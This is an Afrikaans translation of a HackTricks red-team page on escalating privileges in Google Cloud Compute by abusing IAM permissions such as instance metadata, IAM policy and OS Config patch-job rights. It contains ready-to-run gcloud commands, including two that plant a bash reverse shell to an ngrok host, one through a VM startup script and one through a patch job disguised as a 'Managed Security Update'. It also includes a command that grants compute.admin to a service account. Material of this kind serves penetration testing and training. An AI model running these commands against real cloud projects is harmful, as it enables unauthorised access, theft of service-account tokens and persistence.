GCP - Compute Privesc

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Compute

Vir meer inligting oor Compute en VPC (netwerk) in GCP, kyk:

GCP - Compute Enum

Caution

Let daarop dat om al die privilege escalation aanvalle uit te voer wat vereis dat die metadata van die instansie gewysig word (soos om nuwe gebruikers en SSH sleutels by te voeg), dit nodig is dat jy actAs toestemmings oor die SA wat aan die instansie geheg is, het, selfs al is die SA reeds geheg!

compute.projects.setCommonInstanceMetadata

Met daardie toestemming kan jy die metadata inligting van ’n instansie wysig en die geautoriseerde sleutels van ’n gebruiker verander, of ’n nuwe gebruiker met sudo toestemmings skep. Daarom sal jy in staat wees om via SSH in enige VM instansie in te log en die GCP Service Account waarmee die Instansie loop, te steel.
Beperkings:

  • Let daarop dat GCP Service Accounts wat in VM instansies loop, standaard ’n baie beperkte omvang het
  • Jy sal in staat moet wees om die SSH bediener te kontak om in te log

Vir meer inligting oor hoe om hierdie toestemming te benut, kyk:

GCP - Add Custom SSH Metadata

Jy kan ook hierdie aanval uitvoer deur ’n nuwe opstart-skrip by te voeg en die instansie te herbegin:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Hierdie toestemming gee die dieselfde voorregte as die vorige toestemming maar oor ’n spesifieke instansie in plaas van ’n hele projek. Die dieselfde ontploffings en beperkings soos vir die vorige afdeling geld.

compute.instances.setIamPolicy

Hierdie tipe toestemming sal jou toelaat om jouself ’n rol met die vorige toestemmings toe te ken en voorregte te verhoog deur dit te misbruik. Hier is ’n voorbeeld om roles/compute.admin aan ’n Diensrekening toe te voeg:

export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE

compute.instances.osLogin

As OSLogin geaktiveer is in die instansie, kan jy net gcloud compute ssh [INSTANCE] uitvoer en met die instansie verbind. Jy sal nie root privs binne die instansie hê nie.

Tip

Om suksesvol in te log met hierdie toestemming binne die VM instansie, moet jy die iam.serviceAccounts.actAs toestemming oor die SA wat aan die VM geheg is, hê.

compute.instances.osAdminLogin

As OSLogin geaktiveer is in die instansie, kan jy net gcloud compute ssh [INSTANCE] uitvoer en met die instansie verbind. Jy sal root privs binne die instansie hê.

Tip

Om suksesvol in te log met hierdie toestemming binne die VM instansie, moet jy die iam.serviceAccounts.actAs toestemming oor die SA wat aan die VM geheg is, hê.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

Dit is moontlik om ’n virtuele masjien met ’n toegewyde Service Account te skep en die token van die diensrekening te steel deur toegang tot die metadata om die bevoegdhede na dit te verhoog.

Die ontploffingskryscript vir hierdie metode kan hier gevind word.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

As jy die osconfig.patchDeployments.create of osconfig.patchJobs.exec toestemmings het, kan jy ’n patch werk of ontplooiing skep. Dit sal jou in staat stel om lateraal in die omgewing te beweeg en kode-uitvoering op al die rekenaarinstansies binne ’n projek te verkry.

Let daarop dat jy op die oomblik nie actAs toestemming oor die SA wat aan die instansie geheg is, nodig het nie.

As jy dit handmatig wil ontplof, sal jy of ’n patch werk of ontplooiing** moet skep.**
Vir ’n patch werk, voer in:

cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

Om ’n patch-implementering te ontplooi:

gcloud compute os-config patch-deployments create <name> ...

Die hulpmiddel patchy kon in die verlede gebruik word om hierdie miskonfigurasie te benut (maar dit werk nou nie).

’n Aanvaller kan dit ook misbruik vir volharding.

compute.machineImages.setIamPolicy

Gee jouself ekstra regte op die rekenaarbeeld.

compute.snapshots.setIamPolicy

Gee jouself ekstra regte op ’n skyfopname.

compute.disks.setIamPolicy

Gee jouself ekstra regte op ’n skyf.

Bypass Access Scopes

Volg hierdie skakel om ’n paar idees te vind om toegangskopes te omseil.

Plaaslike Privilege Escalation in GCP Compute-instansie

GCP - local privilege escalation ssh pivoting

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks